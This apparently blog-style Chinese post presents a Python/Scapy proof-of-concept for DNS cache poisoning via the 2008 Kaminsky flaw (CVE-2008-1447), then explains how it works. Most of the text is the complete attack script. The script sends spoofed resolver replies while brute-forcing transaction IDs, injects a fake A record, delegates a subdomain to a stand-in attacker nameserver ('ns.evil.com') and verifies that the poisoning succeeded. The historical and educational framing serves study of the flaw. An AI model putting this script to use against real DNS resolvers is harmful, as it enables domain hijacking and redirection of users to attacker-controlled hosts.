这段代码利用 Scapy 库实现 DNS 缓存投毒攻击的经典概念验证(PoC),专门针对 2008 年由 Dan Kaminsky 发现的严重漏洞(CVE-2008-1447)。当时该漏洞允许攻击者通过猜测 DNS 事务 ID,向递归服务器注入虚假记录,从而劫持整个域名。尽管受限于 Python 效率,实际运行速度较慢,但代码逻辑清晰,至今回顾仍具有很高的学习价值。
from scapy import *
import random
# This script exploit the flaw discovered by Dan Kaminsky
# It tries to insert a dummy record in the vulnerable DNS server by guessing
# the transaction ID.
# It also insert Authority record for a valid record of the target domain.
# To use this script, you ha ve to discover the source port used by the vulnerable
# DNS server.
# Python is really slow, so it will take some time, but it works :-)
# IP to insert for our dummy record
targetip = "X.X.X.X"
# Vulnerable recursive DNS server
targetdns = "X.X.X.X"
# Authoritative NS for the target domain
srcdns = ["X.X.X.X"]
# Domain to play with
dummydomain = ""
basedomain = ".example.com."
# sub-domain to claim authority on
domain = "sub.example.com."
# Spoofed authoritative DNS for the sub-domain
spoof="ns.evil.com."
# src port of vulnerable DNS for recursive queries
dnsport = 32883
# base packet
rep = IP(dst=targetdns, src=srcdns[0])/ \
UDP(sport=53, dport=dnsport)/ \
DNS(id=99, qr=1, rd=1, ra=1, qdcount=1, ancount=1, nscount=1, arcount=0,
qd=DNSQR(qname=dummydomain, qtype=1, qclass=1),
an=DNSRR(rrname=dummydomain, ttl=70000, rdata=targetip, rdlen=4),
ns=DNSRR(rrname=domain, rclass=1, ttl=70000, rdata=spoof, rdlen=len(spoof)+1, type=2)
)
currentid = 1024
dummyid = 3
while 1:
dummydomain = "a" + str(dummyid) + basedomain
dummyid = dummyid + 1
# request for our dummydomain
req = IP(dst=targetdns)/ \
UDP(sport=random.randint(1025, 65000), dport=53)/ \
DNS(id=99, opcode=0, qr=0, rd=1, ra=0, qdcount=1, ancount=0, nscount=0, arcount=0,
qd=DNSQR(qname=dummydomain, qtype=1, qclass=1),
an=0,
ns=0,
ar=0
)
send(req)
# build the response
rep.getlayer(DNS).qd.qname = dummydomain
rep.getlayer(DNS).an.rrname = dummydomain
for i in range(50):
# TXID
rep.getlayer(DNS).id = currentid
currentid = currentid + 1
if currentid == 65536:
currentid = 1024
# len and chksum
rep.getlayer(UDP).len = IP(str(rep)).len-20
rep[UDP].post_build(str(rep[UDP]), str(rep[UDP].payload))
print "Sending our reply from %s with TXID = %s for %s" % (srcdns[0], str(rep.getlayer(DNS).id), dummydomain)
send(rep, verbose=0)
# check to see if it worked
req = IP(dst=targetdns)/ \
UDP(sport=random.randint(1025, 65000), dport=53)/ \
DNS(id=99, opcode=0, qr=0, rd=1, ra=0, qdcount=1, ancount=0, nscount=0, arcount=0,
qd=DNSQR(qname=dummydomain, qtype=1, qclass=1),
an=0,
ns=0,
ar=0
)
z = sr1(req, timeout=2, retry=0, verbose=0)
try:
if z[DNS].an.rdata == targetip:
print "Successfully poisonned our target with a dummy record !!"
break
except:
print "Poisonning failed"
整个攻击流程非常直观:攻击者首先构造一个合法的 DNS 查询请求,让目标递归服务器查询一个虚构的子域名(例如 a3.example.com)。与此同时,攻击者伪造一个应答报文,其中不仅包含虚假的 A 记录(将域名指向攻击者控制的 IP),还附带一条权威 NS 记录,宣称攻击者控制的权威服务器对 sub.example.com 拥有权威性。关键点在于,攻击者必须不断猜测 DNS 事务 ID(TXID),因为只有猜中正确 ID,递归服务器才会接受这个伪造的应答。代码中每轮循环会尝试连续的 50 个 TXID,然后更换新域名继续猜测,直至成功。
从脚本结构来看,变量 dnsport 需要提前获知目标递归服务器用于递归查询的源端口,这也是 Kaminsky 漏洞利用的核心前提之一。若不清楚源端口,攻击者还需额外猜测端口,难度会显著增加。此外,代码中采用 random.randint(1025, 65000) 生成随机源端口来发送查询,以此模拟真实攻击中的端口随机化,避免被简单过滤。
值得注意的是,攻击者在每次发送应答前手动更新了 UDP 长度和校验和,这一步在 Scapy 中必不可少,否则发送的报文可能被截断或校验失败。循环中的 post_build 调用正是为了强制重新计算校验和,这是一个容易被忽略的细节。最后,代码通过重新发起查询并检查应答中的 A 记录是否等于目标 IP,以此判断投毒是否成功,整体逻辑清晰明了。
